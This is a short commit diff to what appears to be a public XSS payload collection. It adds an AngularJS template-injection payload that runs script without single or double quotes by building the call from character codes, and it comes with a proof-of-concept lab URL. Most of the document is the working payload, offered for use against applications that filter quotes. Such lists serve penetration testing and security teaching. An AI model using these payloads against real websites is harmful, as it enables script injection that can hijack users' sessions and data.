[Update] Added 1 payload
diff --git a/XSS Injection/XSS in Angular.md b/XSS Injection/XSS in Angular.md
index 1749a9a8b9..5a2be103d2 100644
--- a/XSS Injection/XSS in Angular.md	
+++ b/XSS Injection/XSS in Angular.md	
@@ -149,6 +149,14 @@ AngularJS 1.0.1 - 1.1.5 and Vue JS
 {{constructor.constructor('alert(1)')()}}
 ```
 
+### Advanced bypassing XSS
+
+AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
+
+```javascript
+{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
+```
+
 
 ### Blind XSS
 

Added one payload which executes without any usage of (`'`)single-quotes or (`"`)double-quotes. Helpful when you have AngularJS injection but quotes are blocked by the application.

Working proof of payload here: 

https://portswigger-labs.net/xss/angularjs.php?type=reflected&csp=0&version=1.6.0&x={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}